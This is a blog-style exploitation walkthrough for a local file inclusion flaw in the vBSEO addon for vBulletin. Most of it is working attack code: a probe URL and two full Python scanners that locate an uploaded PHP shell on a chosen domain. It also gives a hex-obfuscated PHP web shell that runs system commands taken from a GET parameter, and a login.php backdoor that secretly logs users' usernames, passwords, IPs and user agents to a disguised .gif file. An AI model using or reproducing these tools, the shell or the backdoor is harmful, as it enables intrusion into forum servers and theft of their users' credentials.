Aug 16, 2010

vBulletin – Not So Secure Anymore

Some time ago, an LFI vulnerability within vBSEO was discovered, which allowed an attacker to include locally hosted files. The challenge, when confronted with an LFI vulnerability, is to leverage it into executing arbitrary code of our choosing.

Many vBulletin installations are using this addon to improve their SEO drastically, however many of them are not fully patched which is good for us, but very bad for those that host a vulnerable web application.
vBulletin Main Page

In many cases, it is not piece of cake to exploit LFI, aka Local File Inclusion, vulnerabilities due to the fact it may not be easy to upload content to the target server. In some scenarios, it is possible to inject PHP code into access logs and in others, it is possible to include binary MySQL files. It should be noted though, that it is usually impossible to always know where these files are stored.
Of course, we can guess where these files are stored, but we may still not be sure how the server is configured and if this approach will work.

Reconnaissance

First, we need to determine whether our target is vulnerable or not. This can be done by requesting to include a local script in the following manner:

http://our-target.tld/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html

vBSEO_LFI


Please note that some installations may appear to be vulnerable even though they’re not.
From our basic check above, we would like to test whether our target really is vulnerable to Local File Inclusions. We do this by creating a small txt file with ‘phpinfo()’ in it which we will upload to our target via the attachment manager. Some vBulletin installations store attachments locally, which can be abused in this case to include a shell or similar malicious code IF we know the physical location of our file and if there’s a vulnerability which allows us to do that.

Exploitation

In order to find the physical location of our uploaded file we need to find the attachment directory and scan through the subdirectories. I’ve created a small tool for this task, which is far from complete but it does work on some hosts. You can get the basic version is as follows:

#!/usr/bin/python

#  ______          __                  __  __     __   ______
# /\__  _\        /\ \__              /\ \/\ \  /'__`\/\__  _\
# \/_/\ \/     ___\ \ ,_\    __   _ __\ \ `\\ \/\ \/\ \/_/\ \/
#    \ \ \   /' _ `\ \ \/  /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
#     \_\ \__/\ \/\ \ \ \_/\  __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
#     /\_____\ \_\ \_\ \__\ \____\\ \_\  \ \_\ \_\ \____/  \ \_\
#     \/_____/\/_/\/_/\/__/\/____/ \/_/   \/_/\/_/\/___/    \/_/
#      --------------------------------------------------------
#       Title:  vBSEO LFI Assistant Tool
#          Author:  MaXe
#        Site:  http://www.intern0t.net
#
#     Description:  1) Checks whether the vBSEO installation
#           is patched or not. 2) Attempts to find
#           the physical location of an uploaded
#           attachment phile. (PHP Shell)
#
#         Version:  2.1.4 - Reversed Algorithm - Basic Version
#
#         License:  -- Attribution-ShareAlike 3.0 Unported --
#           http://creativecommons.org/licenses/by-sa/3.0/
#
#       Notes:  The basic version does not contain multi-
#           threading nor is it able to search through
#           multiple sub directories which the advanced
#           version will be able to.
#           Please note, that this tool does not work on
#           all types of hosts and you should therefore
#           modify this script to your own needs.
#
#      Disclaimer:  This tool is meant for ethical purposes only.

# Import the appropriate libraries.
import os
import re
import httplib
import sys

# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"

print "File Finder by MaXe from InterN0T.net\n\n"

# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []

# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)

# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()

# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">> The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"

elif resp.status == 404:
print "[!] The site appears to be patched. (404)"

# Search for attachment directories
for value in main_dir[0:]:
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Trying: http://%s/%s/" % (newtarget,value)
conn.request("HEAD", "/%s/" % value)
resp = conn.getresponse()

# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % value

if poss_main_dir == []:
poss_main_dir = ["%s" % value]
else:
poss_main_dir += ["%s" % value]

conn.close()

if poss_main_dir == []:
print "[!] No directories were found, exiting."
sys.exit()

# Search for possible sub directories
for value in poss_main_dir:

i = 0
print "[*] Trying subdirs within: http://%s/%s/" % (newtarget,value)
while i <= 9:        conn = httplib.HTTPConnection(newtarget, 80)        conn.request("HEAD",  "/%s/%s/" % (value,i))        resp = conn.getresponse()               if resp.status == 403:          print "[+] Sub Directory found: /%s/%s/" % (value,i)            found = "%s/%s" % (value,i)                         if sub_dir == []:               sub_dir = ["%s" % found]            else:               sub_dir += ["%s" % found]                       i=i+1       conn.close()         if sub_dir == []:  print "[!] No sub directories were found, exiting."     sys.exit() # Search all the sub directories found for our phile for value in sub_dir[0:]:   i = 99  print "[*] Trying to find our file within: /%s/" % value    while i >= 0:
conn = httplib.HTTPConnection(newtarget, 80)
conn.request("GET", "/%s/%s.attach" % (value,i))
resp = conn.getresponse()

if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match

if re.search("(%s)" % file_match, resp.read()):
print ">> File contains our keyword!"
print "Part URL: /%s/%s.attach" % (value,i)
print "Full URL: http://" + newtarget + "/%s/%s.attach \n" % (value,i)
sys.exit(0)

i=i-1
conn.close()

# Don't forget, that this script can be used for more than one thing.

The multi-threaded version is shown below. Keep in mind that the multi-threaded version is a bit buggy, because I didn’t synchronize the threads.

#!/usr/bin/python

#  ______          __                  __  __     __   ______
# /\__  _\        /\ \__              /\ \/\ \  /'__`\/\__  _\
# \/_/\ \/     ___\ \ ,_\    __   _ __\ \ `\\ \/\ \/\ \/_/\ \/
#    \ \ \   /' _ `\ \ \/  /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
#     \_\ \__/\ \/\ \ \ \_/\  __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
#     /\_____\ \_\ \_\ \__\ \____\\ \_\  \ \_\ \_\ \____/  \ \_\
#     \/_____/\/_/\/_/\/__/\/____/ \/_/   \/_/\/_/\/___/    \/_/
#      --------------------------------------------------------
#       Title:  vBSEO LFI Assistant Tool
#          Author:  MaXe
#        Site:  http://www.intern0t.net
#
#     Description:  1) Checks whether the vBSEO installation
#           is patched or not. 2) Attempts to find
#           the physical location of an uploaded
#           attachment phile. (PHP Shell)
#
#         Version:  2.2.3 - Multi-Threading! - Basic Version
#
#         License:  -- Attribution-ShareAlike 3.0 Unported --
#           http://creativecommons.org/licenses/by-sa/3.0/
#
#       Notes:  Please note, that this tool does not work on
#           all types of hosts and you should therefore
#           modify this script to your own needs.
#           Multi-Threading in this tool is very buggy!
#
#      Disclaimer:  This tool is meant for ethical purposes only.

# Import the appropriate libraries.
import os
import re
import httplib
import sys
import thread
import time

# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"

print "File Finder by MaXe from InterN0T.net\n\n"

# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []

# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)

# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()

# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">>The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"

elif resp.status == 404:
print "[!] The site appears to be patched. (404)"

# Define a multi-threaded function for locating the attachment directory.
def findMainDir(target, array):
global poss_main_dir
conn = httplib.HTTPConnection(target, 80)
print "[*] Trying: http://%s/%s/" % (target,array)
conn.request("HEAD", "/%s/" % array)
resp = conn.getresponse()

# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % array

if poss_main_dir == []:
poss_main_dir = ["%s" % array]
else:
poss_main_dir += ["%s" % array]

conn.close()

# Define a multi-threaded function to scan for sub directories.
def findSubDir(target, array):
global sub_dir
i = 0
print "[*] Trying subdirs within: http://%s/%s/" % (target,array)
while i <= 9:        conn = httplib.HTTPConnection(target, 80)       conn.request("HEAD",  "/%s/%s/" % (array,i))        resp = conn.getresponse()               if resp.status == 403:          print "[+] Sub Directory found: /%s/%s/" % (array,i)            found = "%s/%s" % (array,i)                         if sub_dir == []:               sub_dir = ["%s" % found]            else:               sub_dir += ["%s" % found]                       i=i+1       conn.close() # Define a multi-threaded function to find our phile. # Developer Note:    This function has a sub-function #          (while) which could be multi-threaded #         as well to speed up the process. def findPhile(target,array):   i = 99  print "[*] Trying to find our file within: /%s/" % array    while i >= 0:
conn = httplib.HTTPConnection(target, 80)
conn.request("HEAD", "/%s/%s.attach" % (array,i))
resp = conn.getresponse()

if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match
conn = httplib.HTTPConnection(target, 80)
conn.request("GET", "/%s/%s.attach" % (array,i))
resp = conn.getresponse()
if re.search("(%s)" % file_match, resp.read()):
print ">>File %s.attach contains our keyword!" % i
print "Part URL: /%s/%s.attach" % (array,i)
print "Full URL: http://" + target + "/%s/%s.attach \n" % (array,i)
sys.exit(0)

i=i-1
conn.close()

# For each value in main_dir (array / list), start a new thread.
for value in main_dir[0:]:
try:
thread.start_new_thread(findMainDir, (newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

# Check if any values were assigned to the poss_main_dir array. If not, quit.
if poss_main_dir == []:
print "[!] No directories were found, quitting."
sys.exit()

for value in poss_main_dir[0:]:
try:
thread.start_new_thread(findSubDir, (newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

if sub_dir == []:
print "[!] No sub directories were found, quitting."
sys.exit()

for value in sub_dir[0:]:
try:
thread.start_new_thread(findPhile,(newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

try:
print "Waiting for threads.."
time.sleep(60)
except KeyboardInterrupt:
print "Quitting.."
except:
print "[!] Error"

# Don't forget, that this script can be used for more than one thing.

Hopefully our tool finds the attachment directory, and scans through the subdirectories for our file as shown in the screenshot below.

Script in Action

If we request the location of our file in our web browser, then we’re shown a text version of our file. Lets try to include that and see what happens:

phpinfo

As you can see, we were succesful.

Now, I don’t like to use those fancy C99 shells and such. In fact I prefer simple shells made or written by myself. For this purpose I’ve written a web application which allows me to create these, with different methods of input, encoding and even functions to be called. In this case I choose a GET-request, the system() php call, and “shellcode-style” encoding.

haxxd00r

Which results in the following code:

?php eval("\x65\x72\x72\x6f\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29\x3b\x65\x63\x68\x6f\x20\x40\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x22\x70\x77\x6e\x22\x5d\x29\x3b"); ?

We upload this to our target and include this file, and call a basic system function such as “ls -al” via the “pwn” GET-request in this case, which is successful.

Code Exec

Post Exploitation


At this point we can pretty much do anything we would like to, such as dumping the database for no good since all passwords are salted and will take pretty much forever to crack. Another more serious and blackhat approach I experienced on my own forum, is to alter the login.php file so that every time someone logs in, the information is saved in a seemingly harmless file.

?php

/* This code was placed inside login.php
Look at the comments for further details.
*/


/* 1) Fopen
Open a file named profilepic12_2.gif and append data to it. Disable any errors this may cause in case of failure. The path defined is static.
( fopen($var, "a"); Explanation: Open for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it. ) */

$fp = @fopen('/homepages/xxx/xxxxxxxxxx/htdocs/xxxxxxxxxxxxxxxxx/customprofilepics/profilepic12_2.gif', "a");

/* If the file was opened or created succesfully then.  */
if ($fp) {

/* Write the following Base64-encoded fields to the file on one line:
The current date, Username, Password, IP-Address, User-Agent and a New Line ( \n ).
This also has error reporting specificly disabled. Just in case. */

@fputs($fp, base64_encode(date("r") . "|" . $vbulletin->GPC['vb_login_username'] . "|" . $vbulletin->GPC['vb_login_password'] . "|" . $_SERVER['REMOTE_ADDR'] . "|" . $_SERVER['HTTP_USER_AGENT']) . "\n");

/* Close the file, error reporting is specificly disabled too here. */
@fclose($fp);
}

/* End of the custom-coded backdoor. */
?

After a few days if the attack hasn’t been detected, loads of user accounts will be located within this file, which the attacker can use to his or her advantage.


Author [  MaXe ]


References:
[1] vBSEO LFI Proof of Concept
[2] Static link to basic.py
[3] Static link to threading.py